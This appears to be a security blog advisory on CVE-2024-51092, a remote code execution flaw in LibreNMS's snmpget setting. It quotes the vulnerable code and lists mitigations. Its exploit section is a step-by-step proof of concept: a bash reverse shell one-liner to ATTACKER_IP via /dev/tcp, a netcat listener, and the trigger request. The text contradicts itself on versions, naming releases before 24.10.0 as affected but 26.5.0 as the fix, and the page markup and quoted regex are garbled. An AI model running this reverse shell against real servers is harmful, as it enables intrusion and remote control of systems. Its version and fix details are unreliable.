Listen to this Post
A Remote Code Execution (RCE) vulnerability exists in LibreNMS versions prior to 24.10.0, which is identified as CVE-2024-51092. The vulnerability is rooted in the application’s handling of the `snmpget` configuration parameter within the AboutController.
Specifically, when a user accesses the `/about` endpoint, the `AboutController` retrieves the configured `snmpget` binary path from the database. This value is then directly concatenated into a `shell_exec()` function call without adequate sanitization or validation.
While the application employs a `sanitizePath()` function to block certain special characters (like ;, `, “, $, |, &, ', ", >, <, (), this filter is intended to prevent direct command injection. It does not, however, prevent an attacker from altering the configuration to point to a different, malicious executable file that already exists on the system.
An authenticated administrator can change the `snmpget` configuration through the web interface via a `PUT /settings/snmpget` request. This configuration change is stored and later used by the AboutController. The combination of allowing a privileged user to change a binary path and subsequently executing that path without verifying its integrity leads to a complete system compromise.
An attacker with administrator credentials can, for example, upload a reverse shell script to the server, point the `snmpget` configuration to it, and then trigger its execution by simply visiting the `/about` page. This grants the attacker the ability to execute arbitrary system commands with the privileges of the web server, leading to data exfiltration, backdoor installation, and further network penetration.
DailyCVE Form:
Platform: LibreNMS
Version: < 24.10.0
Vulnerability : RCE
Severity: High (7.2)
date: 2026-05-08
Prediction: 2026-08-18
What Undercode Say:
The vulnerability manifests in the `AboutController.php` file. The following code snippet from line 85 shows the insecure usage of shell_exec():
'version_netsnmp' => str_replace('version: ', '',
rtrim(shell_exec(LibrenmsConfig::get('snmpget', 'snmpget') . ' -V 2>&1'))),
The configuration definition for `snmpget` is located in config_definitions.json, marking it as an executable type:
"snmpget": {
"default": "/usr/bin/snmpget",
"type": "executable"
}
The validation logic in `DynamicConfigItem.php` attempts to sanitize the path but is insufficient:
private function sanitizePath(string $path): string|false
{
if (preg_match('/[<code>;$|&\'"><(]/', $path)) {
return false;
}
return realpath($path);
}
// ...
} elseif ($this->type === 'executable') {
$value == $this->sanitizePath($value);
return $value !== false && is_file($value) && is_executable($value);
}
<h2 style=”color: blue;”>Exploit: (Educational Purposes!)</h2>
This proof-of-concept demonstrates the vulnerability by establishing a reverse shell.
<h2 style=”color: blue;”>Step 1: Create Malicious Executable</h2>
Create a reverse shell script and save it as/tmp/rev_shell.sh.
ATTACKER_IP="172.16.69.144" ATTACKER_PORT=9001 bash -c 'bash -i >& /dev/tcp/'$ATTACKER_IP'/'$ATTACKER_PORT' 0>&1' 2>/dev/null
<h2 style="color: blue;">Make the script executable.</h2>
chmod +x /tmp/rev_shell.sh
<h2 style="color: blue;">Step 2: Setup Netcat Listener</h2>
On the attacker's machine, start a listener to catch the reverse shell.
nc -lvnp 9001
<h2 style="color: blue;">Step 3: Update Configuration via Web Interface</h2>
Log in to the LibreNMS web interface as an administrator and navigate to Settings → External → Binaries. Locate the `snmpget` configuration and update its value to/tmp/rev_shell.sh.
<h2 style="color: blue;">Step 4: Trigger RCE</h2>
Finally, access the `/about` endpoint (e.g., `https://target/librenms/about`) to execute the malicious binary. This will trigger the reverse shell, connecting back to the attacker's listener.
Protection:
The primary and most effective protection is to upgrade LibreNMS to version 26.5.0 or later, which contains the official patch for this vulnerability.
- Upgrade LibreNMS: Update the application by pulling the latest code via `git pull or using Composer to ensure you are on a patched version.
– Verify Configuration: After patching, verify that the `snmpget` binary path in the settings points to the standard location, such as /usr/bin/snmpget.
– Filesystem Hardening: As a defense-in-depth measure, mount writable directories like `/tmp` with the `noexec` flag to prevent the execution of uploaded scripts.
– Network Controls: Restrict access to the administrative web panel to only trusted IP addresses to limit the attack surface.
Impact:
Successful exploitation of this vulnerability allows an attacker to execute arbitrary system commands on the host server.
– Confidentiality: An attacker can read sensitive files, including application configuration files, database credentials, and SSH keys.
– Integrity: The attacker can modify application code to create webshells or backdoors, ensuring persistent access.
– Availability: The attacker can disrupt monitoring services, delete critical data, or stop the application entirely, causing a denial of service.
– Scope: The compromise is not limited to the application. The attacker gains the privileges of the web server user, which can lead to a full system compromise and provide a foothold for lateral movement within the network.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
